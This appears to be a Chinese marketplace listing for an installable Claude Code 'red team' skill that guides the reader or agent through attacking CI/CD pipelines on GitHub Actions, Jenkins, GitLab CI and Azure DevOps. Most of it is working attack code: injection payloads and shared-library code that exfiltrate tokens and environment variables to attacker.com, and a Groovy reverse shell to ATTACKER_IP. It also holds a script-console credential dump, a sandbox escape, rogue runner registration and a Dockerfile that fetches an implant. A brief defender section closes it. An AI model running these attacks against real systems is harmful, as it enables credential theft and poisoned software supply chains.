mcpField
O
offensive-cicd-pipeline

offensive-cicd-pipeline

github.com/snailsploit安全9.7k130 次安装2 周前更新
代码仓库

关于 offensive-cicd-pipeline

面向授权安全测试人员的 CI/CD 攻击技能指南,涵盖 GitHub Actions、Jenkins、GitLab CI 和 Azure DevOps。内容从配置枚举与注入分析延伸到凭据利用、横向移动及防御监测。

主要功能

  1. 01枚举流水线配置与触发条件
  2. 02分析表达式和脚本注入点
  3. 03覆盖四类 CI/CD 平台攻击面
  4. 04利用流水线信任关系横向移动
  5. 05列出防御监测线索

适用场景

  1. 01审查流水线配置中的注入风险
  2. 02评估令牌与机密的暴露范围
  3. 03测试构建产物投毒风险
  4. 04制定 CI/CD 攻击检测措施

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-cicd-pipeline

安装后在 Claude Code 中输入/offensive-cicd-pipeline确认已加载。

详细介绍

Offensive CI/CD Pipeline Exploitation

CI/CD 流水线是现代基础设施中价值最高的攻击目标之一。控制流水线后,你可以在受信任的上下文中执行代码、访问部署凭据,并将恶意代码注入生产制品。你利用组织对构建系统的隐式信任——流水线以较高权限运行代码,持有部署密钥,而且与生产系统相比,受到的监控较少。

本技能涵盖对四大主流 CI/CD 平台的利用。你可以枚举流水线配置、识别注入点、将贡献者级访问权限提升为任意代码执行权限,并利用流水线的信任关系在环境间横向移动。

MITRE ATT&CK:T1195.002(供应链攻击:破坏软件供应链)

快速工作流

  1. 枚举可访问的代码仓库及其流水线配置(.github/workflows/、Jenkinsfile、.gitlab-ci.yml、azure-pipelines.yml)。
  2. 识别触发模型——哪些事件会执行流水线,以及哪些上下文包含攻击者可控的输入。
  3. 梳理每种流水线上下文中的令牌权限范围和可用密钥。
  4. 根据你的访问级别(贡献者、外部 PR、已认证用户)选择注入方式。
  5. 针对目标平台的表达式语言或脚本引擎构造有效载荷。
  6. 执行并捕获输出——密钥、令牌或被篡改的制品。
  7. 利用捕获的凭据横向移动,以扩大对其他流水线、注册表或基础设施的访问权限。

GitHub Actions 表达式注入

GitHub Actions 会在 ${{ }} 上下文中求值表达式。当攻击者可控的数据未经清理便流入这些表达式时,你就能在运行器上下文中实现任意命令注入。

最常见的注入面包括 PR 标题、议题正文、分支名称和提交消息,这些内容会流入 run: 步骤或操作输入。

搜索事件数据的直接插值,识别存在漏洞的工作流:

# Search for expression injection sinks in workflow files
grep -rn '\${{.*github\.event\.' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.pull_request\.title' .github/workflows/
grep -rn '\${{.*github\.event\.issue\.body' .github/workflows/
grep -rn '\${{.*github\.event\.comment\.body' .github/workflows/
grep -rn '\${{.*github\.event\.discussion\.body' .github/workflows/

存在漏洞的工作流如下所示:

# Vulnerable: PR title flows directly into shell execution
name: PR Greeting
on: pull_request_target
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "Thanks for PR: ${{ github.event.pull_request.title }}"

通过 PR 标题注入:

"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #

滥用 workflow_run 时,由 workflow_run 触发的工作流会在默认分支的上下文中运行,但可以访问触发工作流的制品。你可以从 PR 工作流上传被投毒的制品,再由权限更高的 workflow_run 工作流进行处理:

# Attacker's PR modifies the artifact upload step
- uses: actions/upload-artifact@v4
  with:
    name: pr-data
    path: payload.sh

# The workflow_run handler in the default branch processes artifacts unsafely
on:
  workflow_run:
    workflows: ["PR Build"]
    types: [completed]
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
      - run: bash pr-data/payload.sh  # Executes attacker's code with write access

枚举 GITHUB_TOKEN 权限,了解你的执行范围:

# Inside a compromised workflow step, dump token permissions
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  -H "Accept: application/vnd.github+json" \
  https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'

# Check if the token can push to the repository
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main

复合操作供应链攻击的目标是引用时未固定 SHA 的可重用操作:

# Vulnerable: references a tag that can be force-pushed
- uses: org/custom-action@v1

# Secure: references an immutable commit SHA
- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2

使用 gato 枚举并利用 GitHub Actions 配置错误:

# Enumerate self-hosted runners and vulnerable workflows
gato enumerate -t ghp_TOKENHERE -r org/repo
gato enumerate -t ghp_TOKENHERE -o target-org

# Search for expression injection across an organization
gato search -t ghp_TOKENHERE -o target-org -sg

Jenkins 利用

Jenkins 通过脚本控制台、构建配置、共享库和 Java 远程通信协议提供了广泛的攻击面。当你发现 Jenkins 暴露在网络上,或获得任何级别的已认证访问权限时,就可以对其发起攻击。

Groovy 脚本控制台 RCE

如果你能够访问脚本控制台(需要 Overall/RunScripts 权限),就可以在 Jenkins 控制器上不受限制地执行代码:

// Direct command execution via script console
def cmd = "id && cat /etc/passwd".execute()
println cmd.text

// Reverse shell from Jenkins controller
def proc = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()

// Read Jenkins secrets directly
import hudson.util.Secret
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials

def creds = CredentialsProvider.lookupCredentials(
    StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null
)
creds.each { c ->
    println("ID: ${c.id}")
    println("Username: ${c.username}")
    println("Password: ${c.password.plainText}")
    println("---")
}
Groovy 沙箱逃逸

流水线脚本会在 Groovy 沙箱中运行,但你可以通过元编程和反射绕过沙箱:

// Sandbox escape via meta-class manipulation
@Grab('commons-io:commons-io:2.11.0')
import org.apache.commons.io.IOUtils

// Bypass via method pointer and reflection
def bypass = evaluate('''
class Evil {
    static void main(String[] args) {}
    static Object run() {
        def proc = "id".execute()
        return proc.text
    }
}
Evil.run()
''')
println bypass
Jenkins 远程通信反序列化

当 Jenkins 远程通信端口(通常为 50000)暴露时,你可以利用 Java 反序列化漏洞:

# Identify Jenkins remoting port
nmap -sV -p 50000 TARGET_IP

# Use ysoserial to generate deserialization payloads
java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER_IP/pwned' > payload.bin

# Deliver via the JNLP protocol
python3 jenkins_exploit.py --target TARGET_IP:50000 --payload payload.bin
共享库注入

通过 @Library 加载的 Jenkins 共享库是一种供应链攻击途径。如果你控制了库的代码仓库,所有使用该库的流水线都会执行你的代码:

// Malicious shared library vars/deploy.groovy
def call(Map config) {
    // Original functionality preserved to avoid detection
    sh "kubectl apply -f ${config.manifest}"

    // Injected exfiltration
    sh '''
        env | base64 | curl -X POST -d @- https://attacker.com/collect
    '''
}

使用 jenkins-attack-framework 系统化地发起攻击:

# Enumerate Jenkins instance
python3 jaf.py --url https://jenkins.target.com --enumerate

# Dump all credentials with valid session
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" --dump-creds

# Execute command via available build nodes
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" \
  --exec "whoami" --node "linux-build-01"

GitLab CI 利用

GitLab CI 流水线基于 .gitlab-ci.yml 执行,并支持可能带来利用机会的强大功能。攻击者会针对变量注入、运行器滥用,以及合并请求与受保护分支之间的信任边界漏洞。

通过合并请求进行 YAML 注入

如果项目允许来自 fork 的合并请求流水线,攻击者的 .gitlab-ci.yml 就会在目标的运行器上执行:

# Attacker's .gitlab-ci.yml in a fork
stages:
  - exploit

dump_secrets:
  stage: exploit
  script:
    - env | sort
    - cat /etc/hosts
    - curl -sS --header "PRIVATE-TOKEN: $CI_JOB_TOKEN" \
        "https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | python3 -m json.tool
    - |
      # Attempt to read secrets from runner filesystem
      find / -name "*.env" -o -name "credentials" -o -name "*.key" 2>/dev/null | head -20
      cat ~/.docker/config.json 2>/dev/null || true
滥用运行器注册令牌

如果你获取了运行器注册令牌,就可以注册恶意运行器来拦截任务:

# Register a malicious runner with broad tag matching
gitlab-runner register \
  --non-interactive \
  --url "https://gitlab.target.com/" \
  --registration-token "GR1348941_STOLEN_TOKEN" \
  --executor "shell" \
  --description "build-node-07" \
  --tag-list "docker,linux,build,deploy" \
  --run-untagged="true"

# The rogue runner now receives jobs and can:
# 1. Capture all environment variables including secrets
# 2. Modify build artifacts before they are published
# 3. Inject code into deployment payloads
提取 CI 变量

使用被攻陷的令牌,通过 API 枚举并提取 CI/CD 变量:

# List project-level variables
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/projects/PROJECT_ID/variables" | jq '.[] | {key, value, protected, masked}'

# List group-level variables (inherited by all projects)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/groups/GROUP_ID/variables" | jq '.[] | {key, value}'

# Instance-level variables (requires admin)
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
  "https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
绕过受保护分支

利用合并请求流水线与分支流水线之间的漏洞,在受保护的上下文中运行代码:

# Create a merge request that modifies .gitlab-ci.yml
# The MR pipeline runs with the source branch's CI config
# but in the context of the target project's runners and variables

# If the project has "Run pipelines for merge requests from forked projects" enabled,
# your fork's .gitlab-ci.yml executes on their infrastructure
git checkout -b exploit-branch
cat > .gitlab-ci.yml << 'EOF'
protected_job:
  script:
    - echo "$DEPLOY_KEY" | base64
    - echo "$AWS_SECRET_ACCESS_KEY" | base64
  only:
    - merge_requests
EOF
git add .gitlab-ci.yml && git commit -m "Update CI config" && git push origin exploit-branch

Azure DevOps 流水线利用

Azure DevOps 流水线使用 YAML 或经典编辑器定义。攻击者会针对流水线代理被攻陷、服务连接滥用和变量组提取。

滥用流水线代理

自托管代理会在多次构建之间保留状态。你可以利用这种持久性:

# azure-pipelines.yml payload targeting self-hosted agent
trigger: none
pr: none

pool:
  name: 'Self-Hosted-Pool'

steps:
- script: |
    # Enumerate the agent environment
    whoami
    hostname
    env | sort

    # Search for cached credentials on the agent
    find /home/ -name ".kube" -o -name ".aws" -o -name ".azure" 2>/dev/null
    cat /home/*/.kube/config 2>/dev/null
    cat /home/*/.aws/credentials 2>/dev/null

    # Check for Docker credentials
    cat /home/*/.docker/config.json 2>/dev/null

    # Look for other pipeline artifacts left behind
    ls -la /agent/_work/
    find /agent/_work/ -name "*.env" -o -name "*.key" -o -name "*.pem" 2>/dev/null
  displayName: 'Agent Recon'
窃取服务连接

Azure DevOps 中的服务连接会存储外部系统的凭据。你可以通过流水线执行来提取这些凭据:

steps:
- task: AzureCLI@2
  inputs:
    azureSubscription: 'Production-Azure-Connection'
    scriptType: 'bash'
    scriptLocation: 'inlineScript'
    inlineScript: |
      # The task injects credentials as environment variables
      echo "Tenant: $tenantId"
      echo "Client: $servicePrincipalId"

      # Extract the service principal token
      az account get-access-token --output json

      # Use the managed identity to enumerate Azure resources
      az resource list --output table
      az keyvault list --output table
      az keyvault secret list --vault-name TARGET_VAULT --output table
提取变量组
# Use the Azure DevOps REST API with a compromised PAT
PAT="STOLEN_PAT_HERE"
ORG="target-org"
PROJECT="target-project"

# List variable groups
curl -sS -u ":$PAT" \
  "https://dev.azure.com/$ORG/$PROJECT/_apis/distributedtask/variablegroups?api-version=7.0" \
  | jq '.value[] | {name, variables}'

# List service connections
curl -sS -u ":$PAT" \
  "https://dev.azure.com/$ORG/$PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0" \
  | jq '.value[] | {name, type, authorization}'

制品投毒

制品投毒针对构建阶段与部署阶段之间的交接环节。你可以修改构建输出,将恶意代码注入部署包。

# GitHub Actions: Intercept artifact upload
# In a compromised build step, modify artifacts before upload
echo 'curl https://attacker.com/beacon' >> dist/entrypoint.sh

# GitLab CI: Poison the artifact cache
# Shared caches between pipelines allow cross-job poisoning
cat > .gitlab-ci.yml << 'EOF'
poison_cache:
  script:
    - echo 'malicious_payload()' >> node_modules/.cache/babel-loader/payload.js
  cache:
    key: shared-build-cache
    paths:
      - node_modules/
    policy: push
EOF

# Jenkins: Modify stashed files between stages
# If you control a build node, modify files after stash
# The unstash on a different node receives your modified files

注册表流水线中的容器镜像投毒:

# Inject a backdoor layer into a build pipeline's Dockerfile
FROM base-image:latest
# Legitimate build steps
COPY . /app
RUN npm install && npm run build
# Injected persistence
RUN curl -sS https://attacker.com/implant -o /usr/local/bin/.svc && chmod +x /usr/local/bin/.svc
ENTRYPOINT ["/usr/local/bin/.svc", "--", "/app/entrypoint.sh"]

检测 / 防御者视角

防御者应在 CI/CD 平台中监控以下指标:

  • 工作流修改:对来自外部贡献者或 fork 的拉取请求中 .github/workflows/、Jenkinsfile、.gitlab-ci.yml 或 azure-pipelines.yml 的变更发出警报。
  • 异常的运行器注册:监控新注册的运行器,尤其是标签匹配范围广或来自非预期 IP 地址范围的运行器。
  • 机密访问模式:监控 CI 任务是否访问了以往从未使用过的机密,或机密是否在由 PR 触发的流水线中被访问。
  • 表达式注入特征:监控 PR 标题或议题正文中是否包含 shell 元字符($()、反引号、分号、管道运算符),且这些字符是否紧邻工作流触发事件。
  • 制品完整性:在流水线的不同阶段之间验证构建制品的哈希值;意外变更可能表明发生了投毒。
  • 令牌范围异常:监控 GITHUB_TOKEN 或 CI_JOB_TOKEN 是否调用了流水线预期范围之外的 API(例如访问其他仓库、修改分支保护规则)。
  • Jenkins 审计日志:监控脚本控制台访问、通过 API 枚举凭据,以及来自未授权来源的新节点注册。
  • 构建时长异常:受攻陷的构建通常耗时更长,因为其中包含数据外传步骤或额外的网络调用。
  • 运行器的出站网络流量:监控构建代理是否连接到非预期的外部主机,尤其是是否通过 DNS 或 HTTPS 向非注册表域名外传数据。

关键防御措施:

  • 将所有 GitHub Actions 固定到完整的提交 SHA,而非标签。
  • 限制 pull_request_target 的使用,绝不要在该上下文中检出 PR 代码。
  • 使用每个任务结束后即销毁的一次性运行器。
  • 使用 OIDC 进行云身份验证,而不是存储长期有效的凭据。
  • 启用分支保护规则,要求审核工作流文件的变更。
  • 按信任级别划分运行器池——绝不要在公共仓库和私有仓库之间共用运行器。

攻防速查表

平台攻击途径所需访问权限影响
GitHub Actions表达式注入Fork/PR(无)Runner RCE
GitHub Actionsworkflow_run 工件投毒Fork/PR(无)默认分支 RCE
GitHub Actions复合操作供应链攻击操作仓库写入权限所有使用者 RCE
Jenkins脚本控制台RunScripts 权限控制器 RCE
JenkinsGroovy 沙箱逃逸构建配置权限控制器 RCE
JenkinsRemoting 反序列化网络访问权限(50000)控制器 RCE
Jenkins共享库注入库仓库写入权限所有使用者 RCE
GitLab CIMR 流水线 YAML 注入Fork(无)Runner RCE
GitLab CIRunner 令牌注册令牌泄露作业拦截
GitLab CI变量提取API 令牌窃取机密
Azure DevOpsAgent 持久化流水线编辑权限Agent RCE
Azure DevOps服务连接窃取流水线编辑权限云访问
所有平台工件投毒构建步骤失陷供应链攻击

关键参考资料

评论

支持 Markdown